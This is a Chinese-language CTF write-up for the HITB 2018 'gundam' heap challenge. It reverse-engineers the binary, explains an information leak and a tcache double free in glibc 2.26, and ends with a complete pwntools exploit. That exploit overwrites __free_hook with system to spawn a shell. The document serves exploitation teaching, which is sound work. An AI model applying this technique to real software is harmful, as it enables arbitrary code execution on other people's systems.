[堆利用:TCache机制]HITB CTF 2018:gundam
题目链接:https://github.com/moonAgirl/CTF/tree/master/2018/Hitbxctf/gundam
0x00 逆向分析
sub_AEA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| unsigned __int64 sub_AEA() { unsigned __int64 v1;
v1 = __readfsqword(0x28u); puts(&s); puts("1 . Build a gundam "); puts("2 . Visit gundams "); puts("3 . Destory a gundam"); puts("4 . Blow up the factory"); puts("5 . Exit"); puts(&s); printf("Your choice : "); return __readfsqword(0x28u) ^ v1; }
|
先看一下菜单,字面意思很好理解
1.构造一个高达 2.遍历输出每个高达 3.删除一个高达 4.炸掉工厂 5.退出
然后按顺序看看每个功能对应的函数
sub_B7D 构造高达
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| __int64 sub_B7D() { int v1; unsigned int i; void *s; void *buf; unsigned __int64 v5;
v5 = __readfsqword(0x28u); s = 0LL; buf = 0LL; if ( (unsigned int)dword_20208C <= 8 ) { s = malloc(0x28uLL); memset(s, 0, 0x28uLL); buf = malloc(0x100uLL); if ( !buf ) { puts("error !"); exit(-1); } printf("The name of gundam :"); read(0, buf, 0x100uLL); *((_QWORD *)s + 1) = buf; printf("The type of the gundam :"); __isoc99_scanf("%d", &v1); if ( v1 < 0 || v1 > 2 ) { puts("Invalid."); exit(0); } strcpy((char *)s + 16, &aFreedom[20 * v1]); *(_DWORD *)s = 1; for ( i = 0; i <= 8; ++i ) { if ( !factory[i] ) { factory[i] = s; break; } } ++dword_20208C; } return 0LL; }
|
几行关键性的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| s = malloc(0x28) buf = malloc(0x100uLL); read(0, buf, 0x100uLL); *((_QWORD *)s + 1) = buf; strcpy((char *)s + 16, &aFreedom[20 * v1]); *(_DWORD *)s = 1;
for ( i = 0; i <= 8; ++i ) { if ( !factory[i] ) { factory[i] = s; break; } }
|
可以分析出高达的结构体
1 2 3 4 5 6
| struct gundam{ uint32_t flag; char *name; char type[24]; }gundam; struct gundam *factory[9]
|
每个高达都包含了两个chunk,一个0x30大小的factory,一个0x100大小的name。
factory主要装了一个flag,用于表示工厂内是否有高达(之后删除高达会用到),
一个name chunk的指针,一个高达类型,根据用户选择对应一个字符串。
特别关注一下read函数,buf的大小是0x100而读取大小也是0x100,并且没有对最后一位字符进行\x00处理,因此存在信息泄露。
name内部只有字符串,很简单的构造。
sub_EF4 遍历输出高达信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| __int64 sub_EF4() { unsigned int i;
if ( dword_20208C ) { for ( i = 0; i <= 8; ++i ) { if ( *((_QWORD *)&factory + i) && **((_DWORD **)&factory + i) ) { printf("\nGundam[%u] :%s", i, *(const char **)(*((_QWORD *)&factory + i) + 8LL)); printf("Type[%u] :%s\n", i, (const char *)(*((_QWORD *)&factory + i) + 16LL)); } } } else { puts("No gundam produced!"); } return 0LL; }
|
没有什么特别的内容。
sub_D32 删除一个高达
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| __int64 sub_D32() { unsigned int v1; unsigned __int64 v2;
v2 = __readfsqword(0x28u); if ( dword_20208C ) { printf("Which gundam do you want to Destory:"); __isoc99_scanf("%d", &v1); if ( v1 > 8 || !factory[v1] ) { puts("Invalid choice"); return 0LL; } *(_DWORD *)factory[v1] = 0; free(*(void **)(factory[v1] + 8LL)); } else { puts("No gundam"); } return 0LL; }
|
可以看到删除高达的操作是
1.将flag置0
2.free掉name的chunk
从中可以发现的漏洞:free掉name后指针没有置空,依旧可以free
sub_E22 炸掉工厂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| unsigned __int64 sub_E22() { unsigned int i; unsigned __int64 v2;
v2 = __readfsqword(0x28u); for ( i = 0; i <= 8; ++i ) { if ( *((_QWORD *)&factory + i) && !**((_DWORD **)&factory + i) ) { free(*((void **)&factory + i)); *((_QWORD *)&factory + i) = 0LL; --dword_20208C; } } puts("Done!"); return __readfsqword(0x28u) ^ v2; }
|
把所有flag=0但是结构体不为0的factory全都free了
0x01 漏洞利用
1.泄露地址
2.double free,构造堆快,修改__free_hook
3.执行system(‘/bin/sh’)
先放一下方便操作的对应功能的函数定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| def build(name): io.sendlineafter("choice : ","1") io.sendlineafter("gundam :",name) io.sendlineafter("gundam :",'0')
def visit(): io.sendlineafter("choice : ",'2')
def destroy(idx): io.sendlineafter("choice : ",'3') io.sendlineafter("Destory:",str(idx))
def blow_up(): io.sendlineafter("choice : ",'4')
|
1.泄露地址
在sub_B7D中提到,read函数并没有对输入字符串末进行处理,因此只要装满就能泄露字符串后的地址。但是在2.26版本中,free掉堆块是会被放到tcache里的,tcache的位置在heap的底部,和libc之间的地址差存在随机性。但是tcache有容量上限,只要把tcache中的7个位置装满,第八个就会被放到unsorted bin中。
1 2 3 4 5
| for i in range(9): build('A'*7) for i in range(8): destroy(i) blow_up()
|
先随便多造几个高达,然后free掉8个,并把他们的工场都用blow_up函数都炸了,用pwndbg可以看到此时的堆是这样的:
可以看到有7个chunk进了fastbin,第八个的factory进了fastbin,name进了unsortedbin。
此时,我们再把他们八个高达build出来,看一下效果
1 2 3
| for i in range(7): build('A'*7) build('B'*7)
|
可以看到所有的chunk都被激活了,我们再仔细看看第八个chunk,也就是我塞了7个’B’的chunk。
然后就会惊喜的发现,在BBBBB后面连着一个神秘的7f开头的地址。
跳过去看看:
好家伙,这不是main_arena的地址吗。
通过vmmap可以看到,这个main_arena的地址在libc基地址下方,和heap相反,这里不会受到随机地址的影响,因此可以直接推算出libc的基地址。
看一下程序执行过程中,泄露的效果。
通过本地调试即可算出这个地址和libc基地址之间的距离,从而继续推算出system函数地址以及__free_hook函数的地址,具体过程就不详细讲了,直接放脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| def leak(): global free_hook_addr,system_addr
for i in range(9): build('A'*7) for i in range(8): destroy(i) blow_up()
for i in range(7): build('A'*7) build('B'*7)
io.interactive() visit() leak = u64(io.recvuntil("Type[7]",drop=True)[-6:].ljust(8,'\x00')) libc_base = leak - 0x3dac78 free_hook_addr = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] log.info('libc:0x%x' % libc_base) log.info("__free_hook:0x%x" % free_hook_addr) log.info("system:0x%x" % system_addr)
|
这里的偏移地址0x3dac78就是之前第八个chunk泄露的地址和vmmap里看到的libc基地址相减得到的。
即7f687cd88c78(泄露地址) - 0x7f687c9ae000(libc基地址) = 0x3dac78(偏移地址)
2.double free,构造堆快,修改__free_hook
在2.26的tcache中不存在doublefree的检测机制,而之前我们也提到,sub_D32 也就是删除高达的函数,在free掉name之后并没有删除name指针,也就是说可以进行double free的操作。和fastbin不同,tcache的double free甚至不需要换一个堆free,直接两次free即可。
1 2 3 4 5 6 7
| destroy(2) destroy(1) destroy(0)
destroy(0)
blow_up()
|
看似简单的五行代码其中暗藏玄机
前三行就是简单的按顺序free了三个name堆块。
在#1处attach一下,看看此时的堆块分布:
有三个堆块进入了fastbin
之后再到#2处attach一下:
然后就会惊人的发现,明明又free了一个堆块,但是显示的堆块并没有增加一个,反而减少了两个。
与此同时,还会发现这个free chunk的fd指针,指向的是它自己的用户区域,也就是chunk首地址+0x10的位置。
为了方便理解,我用excel做了个草图
可以看到,在#1处,tcache还是一个正常的单链表,但是当我再free一个chunk0的时候,它会按顺序进行如下操作:
1.将新free的chunk的fd指针指向头节点指向的第一个chunk,也就是把新来的chunk0的fd指针,指向了第一个chunk(还是chunk0)
2.把头节点的指针指向新free的chunk
因此就构成了图中这样的结果。
而此时,也就完成了double free。
然后执行了blow_up,将之前的0 1 2的工厂都炸了,方便之后构造三个chunk 0 1 2。
1 2 3
| build(p64(free_hook_addr)) build('/bin/sh') build(p64(system_addr))
|
这里就是chunk构造部分。接着之前完成的double free,此时的chunk0内部是这样的:
可以看到chunk0内部只有一个指向自己的地址。
然后,执行build(p64(free_hook_addr))
可以看到,chunk0的fd指针已经变成了7f开头的__free_hook地址。
再执行build(‘/bin/sh’),
此时,chunk0变成了只装了一个’/bin/sh’字符串的chunk了
与此同时,我们可以看到,tcache的头指针已经指向了__free_hook函数。
因为在上一步操作后,chunk0的fd指针已经指向了__free_hook,也就是说,当chunk0再被申请以后,再下一次申请,就会创建一个以__free_hook地址为起始用户区域的一个chunk,分配给它。
最后一步,执行build(p64(system_addr)),申请一个堆块,并将system函数的地址写入,本质上就是申请了以__free_hook为用户区域起始地址的chunk。也就是将__free_hook的地址改成了system。
到此,构造chunk已经结束,我们已经成功将system函数绑定在了free的钩子上,此时只要free一个用户区域是’/bin/sh’的chunk,就相当于执行了system(‘/bin/sh’),就能成功获得shell。
于是执行
1 2
| destroy(1) io.interactive()
|
成功获得shell。
0x03 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * from LibcSearcher import *
io = process('./gundam') libc = ELF('/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc.so.6')
def build(name): io.sendlineafter("choice : ","1") io.sendlineafter("gundam :",name) io.sendlineafter("gundam :",'0')
def visit(): io.sendlineafter("choice : ",'2')
def destroy(idx): io.sendlineafter("choice : ",'3') io.sendlineafter("Destory:",str(idx))
def blow_up(): io.sendlineafter("choice : ",'4')
def leak(): global free_hook_addr,system_addr
for i in range(9): build('A'*7) for i in range(8): destroy(i) blow_up()
for i in range(7): build('A'*7) build('B'*7) visit() leak = u64(io.recvuntil("Type[7]",drop=True)[-6:].ljust(8,'\x00')) libc_base = leak - 0x3dac78 free_hook_addr = libc_base + libc.sym['__free_hook'] system_addr = libc_base + libc.sym['system'] log.info('libc:0x%x' % libc_base) log.info("__free_hook:0x%x" % free_hook_addr) log.info("system:0x%x" % system_addr)
def overwrite(): destroy(2) destroy(1) destroy(0) destroy(0) blow_up() build(p64(free_hook_addr)) build('/bin/sh') build(p64(system_addr)) def pwn(): destroy(1) io.interactive()
def debug(id): log.info('check point %d' % id) gdb.attach(io) pause()
if __name__ == "__main__": leak() overwrite() pwn()
|